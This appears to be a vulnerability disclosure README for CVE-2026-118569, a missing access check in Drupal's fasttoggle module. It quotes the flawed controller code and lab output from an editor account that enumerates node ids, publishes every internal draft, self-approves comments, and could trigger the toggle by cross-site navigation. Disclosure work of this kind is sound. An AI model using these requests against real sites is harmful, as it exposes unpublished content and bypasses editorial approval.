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GitHubyuwkaaa/cve-2026-118569

CVE-2026-118569

Proof-of-concept and technical analysis for CVE-2026-118569, an incorrect authorization flaw in Drupal's fasttoggle module letting editors publish, promote or sticky any node.

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14 days agoNot yet reviewed

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CVE-2026-118569 — any editor could publish every draft on a Drupal site

CVE Drupal risk CWE Auth

/fasttoggle/{entity_type}/{entity_id}/{action} was gated by one permission and nothing else. The controller read the entity id out of the path, loaded the node or comment, flipped the flag and saved it. There was no entity access check, no CSRF token, and no look at the per-content-type switches the module's own link builder honours. An account holding use fasttoggle, which is what you grant an editor, could publish, unpublish, promote or make sticky any node on the site, and publish any comment. Drafts it had no permission to read included.

CVECVE-2026-118569, assigned by Drupal.org, published 2026-10-30
AdvisorySA-CONTRIB-2026-282, 2026-10-28
Projectfasttoggle
Affected< 4.1.1
Fixed4.1.1
CWECWE-863, Incorrect Authorization
Drupal riskModerately critical 13/25, AC:None/A:User/CI:None/II:Some/E:Theoretical/TD:All
CVSS 3.17.1, AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N. Score for one toggle; Drupal's own rating is the 13/25 above
Install base484 sites in the week of 2026-10-25; 83 on the affected 4.x branch (27 on 4.0.x, 56 on 4.1.x)
Tested onDrupal 11.4.6, PHP 8.4.24, fasttoggle 4.1.0 unpacked from fasttoggle-4.1.0.tar.gz, sha256 2e3d6fbb7f8e134e29058b615f041ad6f40d4149e9e825d3d13743ac9d55d75f
CreditReported by Nam Nguyen Le Thanh (yuwkaa). Fixed by Andrei Ivnitskii (ivnish)

The bug

fasttoggle.routing.yml in 4.1.0:

fasttoggle.toggle:
  path: '/fasttoggle/{entity_type}/{entity_id}/{action}'
  defaults:
    _controller: '\Drupal\fasttoggle\Controller\FasttoggleController::toggle'
  requirements:
    _permission: 'use fasttoggle'

src/Controller/FasttoggleController.php:

    $parts = explode('/', $request->getPathInfo());
    $index = array_search('fasttoggle', $parts);
    $type = $parts[$index + 1];
    $id = $parts[$index + 2];
    $action = $parts[$index + 3];
    ...
        $node = $storage_handler->load($id);
    ...
          case 'status':
            $status = $node->isPublished();
            ...
            $status ? $node->setUnpublished() : $node->setPublished();
    ...
        $node->save();

The id comes from the path, the entity is loaded, the flag is flipped, the entity is saved. $node->access('update') appears nowhere in that method.

The module's link builder is stricter than its own route. FasttoggleHooks::nodeLinksAlter() only renders a toggle link where the content type opted in:

        $status_toggle = $node_type->getThirdPartySetting('fasttoggle', 'status', 0);

The controller never read that setting, so the URL worked on content types where an administrator had never switched the feature on.

This module already had this bug on Drupal 7

SA-CONTRIB-2014-076 / CVE-2014-5268 was the same class on the 7.x branch. The 7.x-1.5 fix is still shipping:

function fasttoggle_node_edit_access($obj)
{
  return fasttoggle_deny_access_if(!node_access('update', $obj));
}

registered as 'access' => array('fasttoggle_node_edit_access'), with a second layer per setting:

function fasttoggle_node_promote_access($obj) {
  return fasttoggle_allow_access_if(user_access("override {$obj->type} promote option") || user_access('promote posts'));
}

The Drupal 10/11 rewrite kept the route permission and dropped both of those layers. 356 of the 484 reporting sites are still on 7.x, which has the checks.

Proof of concept

Stock Drupal 11.4.6 on SQLite, three accounts. mallory holds access content, use fasttoggle, create article content and post comments. She does not hold administer nodes, skip comment approval or administer comments.

One pass over an id range, because entity_id is a plain integer from the path and there is no flood control:

    nodes total=8, unpublished=7
    nid 40  -> HTTP 200
    nid 41  -> HTTP 200
    nid 42  -> HTTP 200
    nid 43  -> HTTP 200
    nid 44  -> HTTP 200
    nid 45  -> HTTP 200
    nid 46  -> HTTP 200
    nid 47  -> HTTP 200
    nid 48  -> HTTP 400
    nid 49  -> HTTP 400
    nid 50  -> HTTP 400
    nid 51  -> HTTP 400
    node 40  status=1 promote=1 sticky=1  "Admin's published article"
    node 41  status=0 promote=0 sticky=0  "Admin's UNPUBLISHED draft"
    node 42  status=1 promote=0 sticky=0  "INTERNAL DRAFT #1"
    node 43  status=1 promote=0 sticky=0  "INTERNAL DRAFT #2"
    node 44  status=1 promote=0 sticky=0  "INTERNAL DRAFT #3"
    node 45  status=1 promote=0 sticky=0  "INTERNAL DRAFT #4"
    node 46  status=1 promote=0 sticky=0  "INTERNAL DRAFT #5"
    node 47  status=1 promote=0 sticky=0  "INTERNAL DRAFT #6"

Every internal draft went public in that pass. The 400 on an id that does not exist makes the same route a node-existence oracle.

On a site where a content type defaults to unpublished, which is the ordinary submit-for-review setup, an account that may create content but not publish it could publish its own and put it on the front page:

    (reset: the published article is published again, everything else a draft, promote/sticky=0)
    POST /node/add/article -> HTTP 303
    nid of the submitted article: 48
    anonymous GET /node/48 -> HTTP 403   expected 403
    GET /fasttoggle/node/48/status  -> HTTP 200
    GET /fasttoggle/node/48/promote -> HTTP 200
    anonymous GET /node/48 -> HTTP 200   was 403 a moment ago
    anonymous front page: CONTAINS the attacker article

The comment branch behaved the same way, so the same account could approve its own comment:

    POST comment -> HTTP 303
    comment 4 status=0  "MALLORY COMMENT AWAITING APPROVAL"
    anonymous: comment not visible (awaiting approval)
    GET /fasttoggle/comment/4/status -> HTTP 200
    comment 4 status=1  "MALLORY COMMENT AWAITING APPROVAL"
    anonymous: comment IS visible  <-- approval bypassed

Controls from the same run: an anonymous request and a logged-in account without use fasttoggle both got 403. Full output in poc-transcript.txt.

The route carried no CSRF token either

No request above carries a CSRF token or a Referer, because the route asked for neither, and the toggle is a GET. Driving Chromium against the lab shows which cross-site vector that leaves open and which one it does not:

    session cookie: name=SESS12ca17b49af2289436f303e0166030a2 sameSite=Lax httpOnly=True
    instrument saw /probe-same-site-subresource             Cookie carries SESS: True
    instrument saw /probe-cross-site-subresource            Cookie carries SESS: False
    instrument saw /probe-cross-site-toplevel               Cookie carries SESS: True

So an `` tag on the attacker's page does not work: the cookie defaults to SameSite=Lax and a cross-site subresource never carries it, and the target node came back unchanged. Cross-site top-level navigation is what Lax still allows, and that is enough here because the toggle is a GET. A link the victim clicks, or a window.location on the attacker's page, carries the session and fires the toggle:

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